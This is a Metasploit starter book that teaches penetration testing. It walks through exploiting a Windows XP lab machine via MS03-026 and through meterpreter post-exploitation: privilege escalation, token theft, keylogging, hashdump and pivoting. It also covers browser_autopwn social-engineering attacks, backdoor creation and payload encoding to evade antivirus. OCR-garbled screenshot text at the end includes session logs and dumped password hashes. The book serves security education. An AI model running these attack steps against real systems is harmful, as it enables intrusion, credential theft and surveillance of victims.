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Chapter 1. Instant Metasploit Starter



Welcome to Instant Metasploit Starter. This book has been especially created to provide you with all the information that you need to get set up with Metasploit. You will learn the basics of Metasploit, get started with your first successful exploit, and discover some tips and tricks for using Metasploit. This Starter guide contains the following sections:

So, what is Metasploit explains what Metasploit actually is, what you can do with it, and why it’s so great.

Installation explains how to download and install Metasploit with minimum effort. You will also learn how to set it up in no time at all.

Quick start – your first exploitation will show you how to perform one of the core tasks of Metasploit; that is, creating your attacks and then exploiting the target. Follow the steps to exploit a target, which will be the basis of most of your work in Metasploit.

Top features you need to know about will explain how to perform five tasks with the most important features of Metasploit. By the end of this section, you will be able to exploit a vulnerable system and perform post exploitation tasks with ease. 

People and places you should get to know provides you with many useful links to the project page and forums, as well as a number of helpful articles, tutorials, blogs, and the Twitter feeds of Metasploit super-contributors.
So, what is Metasploit?



This section outlines the need for a framework such as Metasploit in a penetration tester's arsenal. But before we dive into the framework, let's understand how the framework has evolved. The following are some basic concepts that will be frequently used in this book:
	Vulnerability: In simple terms, vulnerability is a loophole in the system. It acts as a channel for an attacker to penetrate the system, which in other words is called exploitation.
	Exploit: I would recursively define this term as any working piece of code that is used to exploit a vulnerable system.
	Payload: An attacker exploits a system with a purpose. So, after a successful exploit whatever he/she intends to do with the system stands for payload. In other words, the payload is any working piece of code bundled with an exploit to aid the attacker in the post-exploitation phase.


I have defined these terms right at the beginning because these terms will be used very often throughout this book.
In the IT industry, we have various flavors of operating systems ranging from Mac, Windows, *nix platforms, and other server operating systems, which run an n number of services depending on the needs of the organization. When given a task to assess the risk factor of any organization, it becomes very tedious to run single code snippets against these systems. What if, due to some hardware failure, all these code snippets are lost? Enter Metasploit.
[image: So, what is Metasploit?]
Metasploit is an exploit development framework started by H. D. Moore in 2003, which was later acquired by Rapid7. It is basically a tool for the development of exploits and the testing of these exploits on live targets. This framework has been completely written using Ruby, and is currently one of the largest frameworks ever written in the Ruby language. The tool houses more than 800 exploits in its repository and hundreds of payloads for each exploit. This also contains various encoders, which help us in the obfuscation of exploits to evade the antivirus and other intrusion detection systems (IDS). As we progress in this book, we shall uncover more and more features of this tool.
This tool can be used for penetration testing, risk assessment, vulnerability research, and other security developmental practices such as IDS and the intrusion prevention system (IPS).


Installation



In the previous section, we had a brief introduction to the Metasploit framework. In this section, we will learn about the system requirements and various modes of installation of the Metasploit framework.
The easiest way to get your hands on Metasploit is to download the Linux distribution named Backtrack. Backtrack is a Linux-based security distribution that comes with built-in hacker tools. These tools range from information gathering to cyber forensics. The Metasploit framework comes under the network exploitation category. Backtrack includes this within itself to be used just out of the box. Let's see how to do this:
	Visit the site http://www.backtrack-linux.org. Under the Downloads section of the site, download the latest version of Backtrack onto your system. Here, you have the option of choosing an ISO image or a VMware image. Choose the required image based on your needs and allow the download to complete.
	Use a Virtual Workstation such as VMware or Virtual Box to open the image and let the operating system load. The login credentials by default are root:toor.[image: Installation]

	Once you get the shell prompt, type startx to load the GUI of the system. The following screenshot shows the look of the GUI of Backtrack 5:[image: Installation]
Metasploit comes in various flavors. In this section, we shall see how to invoke the Metasploit framework through the command-line console.

	In your Backtrack system, open the shell by clicking on the terminal icon as shown in the following screenshot:[image: Installation]

	Once the terminal is opened, type the root@bt:~# msfconsole command:[image: Installation]

	As shown in the preceding screenshot, we have successfully launched msfconsole. The screenshot describes the version of the framework currently installed on the system. Here, it is Metasploit 4.5.
	Metasploit is located in the /opt/metasploit/msf3 folder under Backtrack 5 R3. As you can see, under this folder we have the msfconsole executable.[image: Installation]
Metasploit not only comes with a command-line interface, but it has a very user friendly GUI called Armitage. Armitage is a tool for Metasploit, which is used to visualize targets and intelligently recommends exploits that are based on the target's nature. In this section, we shall see how to launch Armitage in Backtrack.

	Navigate to Armitage: Applications | Backtrack |Exploitation Tools | Network Exploitation Tools | Metasploit Framework | armitage:[image: Installation]

	You will be prompted with a dialog box. Click on OK and wait till Armitage loads on your GUI. Do not change any values in the dialog box. This may take quite some time to load, which is expected.
	In the following screenshot, you can see what Armitage—the GUI for Metasploit—looks like. In the subsequent chapters, we will cover how to use the command-line interface of Metasploit as well as the Armitage GUI for performing attacks.[image: Installation]
In the preceding screenshot, the upper half of the screen shows the folder structure of the Metasploit framework. The lower half of the screen shows the console of the framework integrated with the GUI. We shall see how to use it in the upcoming chapters.




Quick start – your first exploitation!



In the So, what is Metasploit? section we have learned about the evolution of this tool, and in the Installation section, we learned the quickest and the easiest way to get your hands on this powerful exploit development framework. Now that you have Metaspoit up and running, it's time to get your hands dirty with your first hands-on section. In this section, we shall exploit a vulnerable Windows machine through the following two methods:
	Exploitation using the Metasploit command-line interface
	Exploitation using the Metasploit GUI – Armitage


Step 1 – the command-line exploitation



Load backtrack 5 OS in your virtual machine, and open the terminal. In the terminal execute the following command:

root@bt:~ msfconsole


The msfconsole command brings up the command-line interface of Metasploit as shown in the following screenshot:
[image: Step 1 – the command-line exploitation]
Along with Backtrack, I am running a vulnerable Windows machine in my virtual machine workstation. Let me define the two roles:
	Attacker: The Backtrack instance of the virtual machine is the attacker, and Metasploit is our attacking tool
	Victim: An instance of a Windows XP vulnerable machine running on the virtual machine is the victim


It's a well-known issue that Windows XP based systems had a vulnerable RPC DCOM component and it was susceptible to overflow attacks. In order to search for this exploit in the metasploit repository, we shall run the following command in the msf-terminal:

root@bt:~search dcom


The search dcom command searches for all exploits whose name contains a substring called dcom. The following screenshot shows the result of this search:
[image: Step 1 – the command-line exploitation]
In the result, we see an entry named exploit/windows/dcerpc/ms03_026_dcom. The folder structure tells us where on the Metasploit's folder structure the exploit code is present. If we observe the name of the exploit we can see that it's a combination of letters and numbers. The ms03 stands for the year in which the Common Vulnerabilities and Exposures (CVE) was assigned to the exploit, in this case 2003 for Microsoft. After we get the search results, we use the following command:

root@bt:~use exploit/windows/dcerpc/ms03_026_dcom


This changes the Metasploit general terminal now to exploit a specific terminal. Any exploit-specific changes that we wish to do are done in this step. Before going ahead in this step, we need to find out what options are available for this particular exploit that takes in values from the attacker. The following screenshot will be used for explanation:
[image: Step 1 – the command-line exploitation]
You can see in the preceding screenshot that I have used the following command:

root@bt:~show options


The show options command shows all the available options for the exploit. Here, the RPORT (target port) is by default set to the default port of the RPC that is running on the Windows system. But, RHOST (target host) requires us to input the IP address of the victim. I know the IP address of my victim to be 192.168.252.132. I provide these details to Metasploit by using the set RHOST ipaddress command:

root@bt:~set rhost 192.168.253.132


Following this, you can perform the show options command to see the values and confirm them. After doing all these, let's execute the exploit command as follows:

root@bt:~exploit


In the following screenshot, we see the exploit is successful in opening a meterpreter session with the victim:
[image: Step 1 – the command-line exploitation]
The meterpreter session is nothing but a communication channel for the attacker to perform his/her post exploitation actions without the knowledge of the victim. More on this topic will be covered in detail in the The meterpreter module section.
Now that we have successfully exploited the vulnerable XP system using this simple exploit, let's understand how to perform a similar attack on the GUI-based Armitage framework.

Step 2 – GUI-based exploitation



We load the Armitage framework as explained in the Installation section. After finding the CVE number of the exploit, we just searched for it at the search input as shown in the following screenshot:
[image: Step 2 – GUI-based exploitation]
Double-click on the exploit. The attack settings can be set there on the UI, unlike running a command as shown in the previous section. Enter the RHOST value in the field on the UI, and check the Use reverse connection box. Now, click on the Launch button to perform the attack.
[image: Step 2 – GUI-based exploitation]
The following screenshot shows that it has successfully completed the attack, and you can see the difference in the UI around the 192.xx.xx.132 system. You can also see that the meterpreter session has been opened in the same way as using the command-line exploitation method.
With this we are good to go ahead to more advanced topics and few scenario-based attacks from the subsequent sections. The meterpreter in itself will be covered explicitly in a complete section, and Armitage will be covered as a separate section as well. The Quick start – your first exploitation section is written to give you a teaser into this exploitation framework.


Top features you need to know about



After learning about the basics of the Metasploit framework, in this section we will find out the top features of Metasploit and learn some of the attack scenarios. This section will be a flow of the following features:
	The meterpreter module
	Using auxiliary modules in Metasploit
	Client-side attacks with auxiliary modules


The meterpreter module



In the earlier sections, we have seen how to open up a meterpreter session in Metasploit. But in this section, we shall see the features of the meterpreter module and its command set in detail. Before we see the working example, let's see why meterpreter is used in exploitation:
	It doesn't create a new process in the target system
	It runs in the context of the process that is being exploited
	It performs multiple tasks in one go; that is, you don't have to create separate requests for each individual task
	It supports scripts writing


As seen in the Quick start – your first exploitation section, let's check out what the meterpreter shell looks like. Meterpreter allows you to provide commands and obtain results.
[image: The meterpreter module]
Let's see the list of commands that are available to use under meterpreter. These can be obtained by typing help in the meterpreter command shell. 
The syntax for this  command is as follows:

meterpreter>help


The following screenshot represents the core commands:
[image: The meterpreter module]
The filesystem commands are as follows:
[image: The meterpreter module]
The networking commands are as follows:
[image: The meterpreter module]
The system commands are as follows:
[image: The meterpreter module]
The user interface commands are as follows:
[image: The meterpreter module]
The other miscellaneous commands are as follows:
[image: The meterpreter module]
As you can see in the preceding screenshots, meterpreter has two sets of commands set apart from its core set of commands. They are as follows:
	Stdapi
	Priv


The Stdapi command set contains various commands for the filesystem commands, networking commands, system commands, and user-interface commands. Depending on the exploit, if it can get higher privileges, the priv command set is loaded. By default, the stdapi command set and core command set gets loaded irrespective of the privilege an exploit gets.
Let's check out the route command from the meterpreter stdapi command set.
The syntax is as follows:

meterpreter>route [–h] command [args] 


In the following screenshot, we can see the list of all the routes on the target machine:
[image: The meterpreter module]
In a scenario where we wish to add other subnets and gateways we can use the concept of pivoting, where we add a couple of routes for optimizing the attack. The following are the commands supported by the route:

Add [subnet] [netmask] [gateway]
Delete [subnet] [netmask] [gateway] 
List


Another command that helps during pivoting is port-forwarding. Meterpreter supports port forwarding via the following command.
The syntax for this command is as follows:

meterpreter>portfwd [-h] [add/delete/list] [args]


As soon as an attacker breaks into any system, the first thing that he/she does is check what privilege levels he/she has to access the system. Meterpreter provides a command for working out the privilege level after breaking into the system.
The syntax for this command is as follows:

meterpreter>getuid


The following screenshot demonstrates the working of getuid in meterpreter. In the following screenshot, the attacker is accessing the system with the SYSTEM privilege. In a Windows environment, the SYSTEM privilege is the highest possible privilege available.
[image: The meterpreter module]
Suppose we failed to get access to the system as a SYSTEM user, but succeeded in getting access via the administrator, then meterpreter provides you with many ways to elevate your access levels. This is called privilege escalation. The commands are as follows:
	Syntax: meterpreter>getsystem
	Syntax: meterpreter>migrate process_id
	Syntax: meterpreter>steal_token process_id


The first method uses an internal procedure within the meterpreter to gain the system access, whereas in the second method, we are migrating to a process that is running with a SYSTEM privilege. In this case, the exploit by default gets loaded in any process space of the Windows operating system. But, there is always a possibility that the user clears that process space by deleting that process from the process manager. In a case like this, it's wise to migrate to a process which is usually untouched by the user. This helps in maintaining a prolonged access to the victim machine. In the third method, we are actually impersonating a process which is running as a SYSTEM privileged process. This is called impersonation via token stealing.
Basically, Windows assigns users with a unique ID called Secure Identifier (SID). Each thread holds a token containing information about the privilege levels. Impersonating a token happens when one particular thread temporarily assumes the identity of another process in the same system.
We have seen the usage of process IDs in the preceding commands, but how do we fetch the process ID? That is exactly what we I shall be covering in this section. Windows runs various processes and the exploit itself will be running in the process space of the Windows system. To list all these processes with their PIDs and the privilege levels, we use the following meterpreter command:

meterpreter>ps


The following screenshot gives a clear picture of the ps command:
[image: The meterpreter module]
In the preceding screenshot, we have the PIDs listed. We can use these PIDs to escalate our privileges. Once you steal a token, it can be dropped using the Drop_token command.
The syntax for this command is as follows:

meterpreter>drop_token


Another interesting command from the stdapi set is the shell command. This spawns a shell in the target system and enables us to navigate through the system effortlessly.
The syntax for this command is as follows:

meterpreter>shell


The following screenshot shows the usage of the shell command:
[image: The meterpreter module]
The preceding screenshot shows that we are inside the target system. All the usual windows command shell scripts such as dir, cd, and md work here.
After briefly covering system commands, let's start learning the filesystem commands. A filesystem contains a working directory. To find out the current working directory in the target system, we use the following command:

meterpreter>pwd


The following screenshot shows the command in action:
[image: The meterpreter module]
Suppose you wish to search for different files on the target system, then we can use a command called search. The syntax for this command is as follows:

meterpreter> search [-d dir][-r recurse] –f pattern


Various options available under the search command are:
	-d: This is the directory to begin the search. If nothing is specified, then it searches all drives.
	-f: The pattern that we would like to search for. For example, *.pdf.
	-h: Provides the help context.
	-r: Used when we need to recursively search the subdirectories. By default this is set to true.


Once we get the file we need, we use the download command to download it to our drive.
The syntax for this command is as follows:

meterpreter>download Full_relative_path


By now we have covered the core commands, system commands, networking commands, and filesystem commands. The last section of the stdapi command set is the user-interface commands. The most commonly used commands are the keylogging commands. These commands are very effective in sniffing user account credentials:
	Syntax: meterpreter>keyscan_start
	Syntax: meterpreter>keyscan_dump
	Syntax: meterpreter>keyscan_stop


This is the procedure of the usage of this command. The following screenshot explains the commands in action:
[image: The meterpreter module]
The communication between the meterpreter and its targets is done via type-length-value. This means that the data is getting transferred in an encrypted manner. This leads to multiple channels of communications. The advantage of this is that multiple programs can communicate with an attacker. The creation of channels is illustrated in the following screenshot:
[image: The meterpreter module]
The syntax for this command is as follows:

meterpreter>execute process_name –c



-c is the parameter that tells the meterpreter to channel the input/output. When the attack requires us to interact with multiple processes then the concept of channels comes in handy as a tool for the attacker. The close command is used to exit a channel.

Auxiliary modules in Metasploit



Auxiliary modules are not exploits but help an attacker in doing various tasks in a scenario of pen testing. It includes scans, DoS attacks, and fuzzing. In this section, we shall explore this module. The auxiliary modules come in various categories, detailed as follows:
	Denial of Service (DoS)This provides a list of tools for performing the Denial of Service attacks.

	FuzzersFuzzing is another important method that aids in determining potential exploitable targets. This auxiliary module provides the attacker with various kinds of fuzzing scripts to use in automated attacks.

	GatherGathering information is an extremely important task. As we all know, the hacker cycle begins with information gathering and you can never have too much information about the target. The more information we can gather, the closer and more efficient our attack will be.

	ScannerNetwork scanning follows the information gathering phase. As an attacker its always beneficial to have the network layout in our hands so as to plan the entry and exit points. This can also be helpful if we wish to include the pivoting concept in our attack to go deeper into the target network.

	SpoofSpoofing is a way to gain improved privileges in the target system. These modules provided in the Metasploit framework help us do this. These can also aid us during the Man in the Middle attacks where spoofing is essential to succeed in the attack.

	VOIPVoice over IP devices gives us very juicy information if we can sniff the traffic. The auxiliary modules in this category help us to exploit the VOIP devices with ease.

	Wi-FiVarious Wi-Fi hotspots such as cafés and airports provide a perfect playground for an attacker. Innocent people who use the Internet at these sites can be pawned using these auxiliary modules.



The preceding list is not limited but just provides us with an idea as to how Metasploit, when used as an exploitation framework, gives the power to the attacker by aiding him/her with these extra tools.
In order to perform a simple tcp scan of the target we can use the following auxiliary modules:
	Syntax: msf>use auxiliary/scanner/portscan/tcp
	Syntax: auxiliary(tcp)>show options


The show options command as described earlier can be used to understand the requirements of this module in order to successfully execute it.
[image: Auxiliary modules in Metasploit]
RHOST is the target IPs that we need to provide. So we set the RHOST to the target system IP as explained in the previous sections. Verbose mode by default is false, if we change it to true then the amount of activity by the scanner increases exponentially. So, in the following screenshot, we see that verbose mode is false and the scan is done over the first 150 ports:
[image: Auxiliary modules in Metasploit]
Suppose we are interested in finding out the hosts that are up and running in a network; it's worth doing an ARP sweep so that we come to know the live hosts in the network. The parameters that need to be passed in this auxiliary module are the remote host, source host, and MAC address for the source host. To specify a range of IPs to the scanner, we follow this syntax:

auxiliary(tcp)>set RHOSTS 192.x.x.x/y


The x/y range in the last part informs the scanner that x is the starting IP of the range and y is the finishing IP of the range. These are analogous to the Nmap scanner.
Auxiliary modules have various scripts available for doing the peripheral tasks such as information gathering and scanning. These come in handy in the scenario of real-time pen testing. This section proves the point about how robust and scalable the Metasploit framework actually is, making this a one-stop shop for learning the basics of penetration testing.

Client-side attacks with auxiliary modules



When the victim is behind NAT/Firewall, it is not possible to directly exploit the system through open ports. In such a case, we need to use the classic social-engineering attack to gain access to the system by exploiting some of the other applications such as browsers and plugins. In this video, we shall see the server category of the auxiliary modules. The module in use for this attack is the classic browser_autopwn script provided by metasploit.
The syntax for this command is as follows:

msf>use auxiliary/server/browser_autopwn


In this case, we shall be hosting a malicious server, which waits for incoming connections. The attack will be sent via social engineering in the form of a URL, which the user needs to open in a browser. Our server preloads a set of available browser-based exploits and waits for the connection. As soon as the URL is clicked and a connection is established, it tries to inject various packets into the browser with which the user is browsing the URL. In turn, it exploits the known browser vulnerabilities giving us complete control over the target system.
As usual, once we enter an exploit module, we check for the options that we need to input. The options provided in this auxiliary module are as follows:
	LHOST – The attacker machine's IP address
	SRVHOST – Usually sets to 0.0.0.0 by default
	SRVPORT – The local port on the attacker machine that listens to the incoming connections
	SSL – Toggle between true or false to enable a SSL connection
	SSLcert – If hosting a web page, then you can provide the path to the SSL certificate you wish to use
	SSL version – By default it uses SSL3
	URIPATH – The attack URL format is specified by URIPATH


Let's see, the values that we need to set in order to execute the attack. It's shown in the following screenshot:
[image: Client-side attacks with auxiliary modules]
In the preceding screenshot, you can see the setup in detail. We have set the SRV port to 80, which is the default HTTP port. This will avoid any hints of doubt to the victim about a threat associated with the link. The same holds true for setting URIPATH to / as this option makes the URL a simple URL without appending it with gibberish alphabets. We also set the LHOST to the IP of the attacker machine, in this case our machine itself.
The syntaxes for these commands are as follows:
	msf auxiliary(browser_autopwn)>set lhost ip_address
	msf auxiliary(browser_autopwn)>set srvport port_number
	msf auxiliary(browser_autopwn)>set URIPATH /
	msf auxiliary(browser_autopwn)>exploit


Once we accomplish setting the values it's time to run the exploit command. The following screenshot shows that the exploit server gets ready in no time by loading itself with exploit scripts!
[image: Client-side attacks with auxiliary modules]
As the user clicks on the link in the browser, the exploits start working and performs the exploitation for us. In the following screenshot, you can see that the meterpreter channels opened, giving us access to the victim. This attack is a client-side exploitation and not direct system exploitation. This requires interaction with the victim/target, which forms the majority of the attack. The art of social engineering of an attacker will be put in to test in this attack to make the victim click on the provided link. The game ends only when the victim clicks on the link.
[image: Client-side attacks with auxiliary modules]
As soon as the victim clicks on the link, we see a lot of activity on the screen as shown in the screenshot:
[image: Client-side attacks with auxiliary modules]
In the preceding screenshot, we can see that a few of the exploits failed to work.  When we observe them closely we can see the occurrence of the word "firefox" in them. That means that the user clicked on this link in a non-Firefox environment. I have used Windows Internet Explorer to demonstrate this exercise.
Another interesting thing we observed in this module is that as soon as the exploit is successful, the exploit migrates itself to notepad.exe. This is because in such an attack there is a high chance that the user restarts the browser since there will be an infinite page-loading waiting-period for the user, and he/she might even try to close the tab. In such a case, we do not want to lose the connection which we managed to gain to the box. Therefore, the auxiliary module is intelligent enough to think this and migrate itself to a safer process in the background such as notepad.exe or the process similar to it. 
Once you get hold of the meterpreter session, you know what you are supposed to do! We have covered the meterpreter in detail in the previous sections.
Creating backdoors in Metasploit



We have seen a lot of payloads when we tried to set them in our first exploit. This makes me think that if we could find a way to attach these payloads independent of the exploit, and use social engineering to get more targets owned, then my success rate will increase in my attack. To answer these prayers, Metasploit saves the day with a script called as msfpayload!
Navigate to /opt/metasploit/msf3/. Here you shall find an executable script by the name of msfpayload. Using msfpayload, we can create a malicious binary file that can then be given to the victim and will help us to exploit his/her system.

Dumping Windows hashes



Post exploitation, if we wish to get the username and passwords of all the users logged in to the system, then we need to dump those hashes. For this we have a script in the meterpreter module. The name of the command is hashdump.
The syntax for this command is as follows:

meterpreter>hashdump


The following screenshot explains the commands in action:
[image: Dumping Windows hashes]
After dumping these hashes, we can use a tool like John the Ripper to crack the passwords.

Browser credential stealing using third-party tools



We have seen the concepts of channel creation and executing processes from remote systems on the target. We have also seen the upload/download commands in meterpreter. Using these concepts, if we can upload an EXE such as firepassword that steals the saved credentials in a Firefox browser, then this gives us an increased coverage for the attack from the system to their online footprints.
[image: Browser credential stealing using third-party tools]
This section covered the major features, which you need to know as a beginner. I am sure from this point onwards, you can explore Metasploit all by yourself with a little guidance here and there. The sole aim of this section was to provide you with a jumpstart that was needed to get your hands dirty with the tool.


Social engineering toolkit – an extension to Metasploit



So far, we have covered various aspects of Metasploit in this book. In this section, let's extend our knowledge to the Metasploit extensions used with the social engineering toolkit. Social engineering is a classical method of exploiting the human mind. The target may use any high-class security tools and defense to secure itself from the attackers, but as we all know, an organization is as secure as its weakest link. What gets even more interesting is that there can never be a patch to human stupidity. The social engineering toolkit facilitates these kinds of attacks, which require a security aware human mind to defend it; if not, the exploitation is unstoppable by any defense mechanism.
As we open the social engineering toolkit, we see a plethora of options on our plate as shown in the following screenshot:
[image: Social engineering toolkit – an extension to Metasploit]
Let's enumerate the options available under this framework:
	Social engineering attacks: This category of attacks includes various subcategories such as spear phishing attacks, website attacks, crafting media payloads, mass mailer attacks, SMS spoofing attacks, QR code-based attacks, and so on. In the spear phishing attack, we have a single target and the attack is like how we spread a spear to catch a fish—thus its name; spear phishing. In crafting media payloads, we basically use MP3/audio formats or videos, PPTX files, PDFs, and so on to send to the victim. These will be bound with backdoors to grant access to the remote system. Of course, obfuscation of the payload is also done before sending the infected media file so that we evade the IDS/IPS and antivirus systems.
	Fast-track attacks modules: This is integration with the previous fast-track pen testing platform. The social engineering toolkit now houses these platforms under its roof as well.
	Third-party module integration: This sees two attacks under its hood; the famous Java applet based exploit and the Remote Administration tool based on Tommy Edition.
	The social engineering toolkit can also be used to update the Metasploit framework apart from the msfupdate command covered previously in the book.


The Metasploit extension can be found under the social engineering attack menu under the Create payload suboption. In the following screenshot, we can see the meterpreter extension based payloads under the social engineering toolkit. The way to run these still remains the same using the regular Metasploit framework commands when exploiting the target.
[image: Social engineering toolkit – an extension to Metasploit]
Using msfencode scripts in the attacks



I would like to provide a short note on msfencode available in the Metasploit framework. The msfpayload script can be used to create a malicious executable but to make it evade the IPS/IDS and antivirus systems, we need to encode/obfuscate the payload using an encoder. Msfencode does the task for us by providing a variety of encoding options.

Nmap and Metasploit



Nmap is an independent tool in itself, but this can also be called within Metasploit for a quick port scan to be performed. An example would be as follows:
	Syntax: msf>nmap –sV ip_address
	Syntax: msf>nmap –O ip_address


The first command scans the services running on the ports in the target system, whereas the second command grabs the banners of the target system.



People and places you should get to know



If you need help with Metasploit, here are some people and places that will prove invaluable.
Official sites



	Homepage: http://www.metasploit.com/
	Manual and documentation: http://help.metasploit.com/
	Wiki: http://wiki.backbox.org/index.php/Metasploit
	Blog: https://community.rapid7.com/community/metasploit/blog
	Source code: https://github.com/rapid7/metasploit-framework



Articles and tutorials



There are countless tutorials and articles on the web covering various aspect of Metasploit. You can search for a specific task to do on a search engine (Google, Bing, and Yahoo) and might end up visiting exciting websites with clear explanations on how to do it. Metasploit users are everywhere and their posts on the web extend to picture albums, source codes, and also video tutorials. The following are some sites that will be familiar to GIMP users:
	http://www.offensive-security.com/metasploit-unleashed/Main_Page
	http://backtracktutorials.com/metasploit-tutorial/
	http://www.securitytube.net/video/1175 (Metasploit Mega primer, Vivek Ramachandra)



Community



If you are looking to get involved in Metasploit, these links will be useful for you:
	Official mailing list: http://mail.metasploit.com/mailman/listinfo/framework
	Official forums: https://community.rapid7.com/welcome
	Unofficial forums: http://www.backtrack-linux.org/forums/forum.php
	Official IRC channel: https://community.rapid7.com/docs/DOC-2198
	User FAQ: http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions



Twitter



If you are a Twitter user, I must mention these Twitter pages:
	https://twitter.com/metasploit
	https://twitter.com/hdmoore
	https://twitter.com/rapid7
	https://twitter.com/Backtrack5


For more open source information, follow Packt at http://twitter.com/#!/packtopensource.
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Stdapi: Networking Commands

Command

ifconfig
ipconfig
porcfud
zoute

Description

Display interfaces

Display interfaces

Forward a local port to a remote service
View and modify the routing table
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stage (752128 bytes) to 192.168.253.132
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firefox_escape retval -

Exception handling request: Connection reset by peer

apple_quicktine marshaled punk - Sending exploit HTHL.

firefox_escape retval -
ms12 004 midi - Sending
firefox_escape retval -
ms10 018 ie behaviors

Free (target: IE 6 SPO-SP2 (onclick))...

[-] 192.168.253.132 firefox_escape_retval
[*] 192.168.253.132 ms10 018 ie behaviors

Free (target: IE 6 SPO-SP2 (onclick))...
[-] 192.168.253.132 firefox escape retval -

[*] 192.168.253.132 ie createobject - Sending exploit HTML.

Exception handling request: Connection reset by peer
HTHL

Exception handling requesf: Connection reset by peer
Sending Tnternet Explorer=DHTHL Behaviors Use After

Exception handling request® ConneChigp. reset by peer
Sending Internet Exploref DHTML Behavi@gs Use After

Exception handling reques®, Connection reset by peer

[-] 192.168.253.132 firefox escape retval - Exception handling request: Connection Feset by peer
[*] Weterpreter sessioy 6 opened (1924168.253.131:3333 -> 192.168.253.1§2:1195) at 2013°04-24 22:
40:19 +0530
[+ sending@tagel(752130 Byses) o 18,165,
[*] 192.168.253.132 ms1e/018=de behaviors -| Sending Internet: Explorer o7 Bdhaviors Use After
Free (target: IE 6 SPO-SP2 (onclick))..
253.132 ie createobject - Sending exploit HTHL...

253.132 apple_quicktime marshaled punk - Sending exploit HTML...

[*] 192.168.
[*] 192.168.

[*] session
migrate -f'
[*] Current
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1364

[*] Meterpreter session 7 opened (192.168.253.131:3333 -> 192.168.253.132:1204) at 2013-84-24 22:
41:06 +0530

53.182

D 5 (192.168.253.131:3333 -> 192.168.253.132:1193) processing InitialAutoRunscript *

server process:

IDeXMQWoOhj XiMG] FSqdHeK . exe (1772)
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meterpreter > hashdump
Administrator:560:f0d412bd764ffe8laad3b435b51404ee:209c6174dad90caebd22f3fa5a7ae634:
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6c fe0d16ae931b73c59d7e0cO89CO :
HelpAssistant:1000:d5cea586862d961444313a3f79233071: 1df4bcc16a8be5dad7 fobsed5a5ec124:
IUSR_FACILITATOR:1004:f20b82bd0978219f86c6e4f5e2a05cC7 : c165bcdaed1562¢41d110a965fabs63!
IWAM_FACILITATOR:1005:449fb19918652a06a98e00499a4ba73c:5a575a012d86ae71164ddc4ccb58d72a:
SUPPORT 388945a0:1002:aad3b435b51404eeaad3b435b51404ee:04268f6f0a518e206a3e9951eddaf16:
vv:1003:aad3b435b51404eeaad3b435b51404ee : 31d6c fedd16ae931b73c59d7e0cO89CH:
meterpreter >
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Inst exploit(mso3 026 dcom) > set rhost 192.168.253.132
rhost => 192.168.253.132
Insf  exploit(mso3_626_dcon) > exploit

[*] Started reverse handler on 192.168.253.131:4444
[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
[*] Binding to 4d9f4ab-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn ip tcp:192.168.253.132[135]

[*] Bound to 4d9f4abs-7d18 11cf- 361& eozeaf ¢57:0.0@Ncacn dp tcp:192.168.253. B2[135]
[+1 Sendl exp1<S
[*] Sending ‘Stage (752128|

[*] Meterpreter session 1 opened (192 163 253. 131 -> 192.168.253.132:1136) at 2013-
-09 01:11:07 +0530

Ineterpreter > |
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[ metasploit v4.5.0-dev [core:4.5 api:1.0

+ == --=[ 927 exploits - 499 auxiliary - 151 post
+ == --=[ 251 payloads - 28 encoders - 8 nops
nsf >

] Armitage [=] =]
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nsf > use exploit/windows/dcerpc/mse3 626_dcom
nsf exploit(nse3_026_dcom) > show options

Module options (exploit/windows/dcerpc/ms03_026_dcom):

Name Current Setting Required Description

RHOST yes The target address
RPORT 135 yes The target port

Exploit target:
Id  Namg

©  Windows NT SP3-6a/2000/XP/2003 Universal

sf_exploit (ns03_026_dcon) > ||
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neterpreter > getsystem

..got system (via technique 1).

neterpreter > getuid

Secv€r us€rname: NT AUTHORITY\SYSTEM

neterpreter > keyscan_start

Starting the keystroke sniffer...

neterpreter > keyscan_dump

dumping captured keystrokes.

<Return> <Return> <Return> Checking eyscan!! <Ctrl> <LCtrl> <Alt> <LMenu>

neterpreter > keyscan_stop
Stopping the keystroke sniffer...
neterpreter >

checking feyscan! !
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Imeterpreter > route list

IPv4 network routes

Subnet Netmask,
<, k
5
192.168.253.0 255.255.255.60

192.168.253.132
192.168.253.255
224.0.0.0

255.255.255.255

255.255.255.255
255.255.255.255
240.0.0.0

255.255.255.255

Gateway

FEACK

192.168.253.132
127.0.0.1

192.168.253.132 131075
192.168.253.132 131075
192.168.253.132 1 131075
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Webcam Commands

Description

webcam list  List webcams
webcam_snap  Take a snapshot from the specified webcam

riv: Elevate Commands

Description

getsystem

riv: Password database Commands

Description

Dumps the contents of the SAM database

riv: Timestomp Commands

Description

timestomp  Manipulate file MACE attributes

Attempt to elevate your privilege to that of local system.
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conmect back_fa-the attacker (wind|
Spain a meterpreger sheWand find
Tunnel communida@tion over HTTPwusi
Use a hostname inSteadwof an IP ad|
Custom interactiye-reverse toolkit|
Purey natfve HTTP Shell with AES
Security bypass Raytdad/that will
This will drop a meterpreter paylol

Specify a path for your own execut






OEBPS/graphics/4483OT_02_01.jpg
g BTS - Vidware Works)
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root@bt:~# msfconsole

EXPLOIT  \

(@ (@) (e) (e (@) (e (@/

AnAAAAAAAAAAAA| L

PAYLOAD

|
1
(@ (@"""**| (@) (@)

metasploit v4.5.0-dev [core:4.5 api:1.0]
927 exploits - 499 auxiliary - 151 post
251 payloads - 28 encoders - 8 nops
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meterpreter > execute -f cnd.exe -c
Process 1984 created.

Channel 1 created.

neterpreter > execute ff calc.exe
Process 1356 grea .

meterprete: ki 135¢ a C
Killing: 135

neterpreter > execute -f calc.exe -c
Process 572 created.

Channel 2 created.

neterpreter > channel -1

Id Class Type

it stdapi_process
2 3 stdapi_process
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CONCURRENCY 10

FILTER
INTERFACE

PCAPFILE

PORTS. 1-10000
RHOSTS

SNAPLEN 65535
THREADS 1
TIMEOUT 1000

nsf auxiliary(tep) > [

yes
yes
yes
yes
yes

exploit(mse3_026_dcom) > use auxiliary/scanner/portscan/tcp
auxiliary(tcp) > show options

r
b 5
. p«r*gs_)eck per host
The filter string for capturing traffic
The name of the interface
The name of the PCAP capture file to process
Ports to scan (e.g. 22-25,80,110-960)
The target address range or CIDR identifier
The number of bytes to capture

The number of concurrent threads
The socket connect timeout in milliseconds
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Ineterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Imeterpreter > |
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tdapi: System Commands

clearev
drop_token
execute
getpid
getprivs
getuid

kil

b=

zeboot

req
revaselr
snell
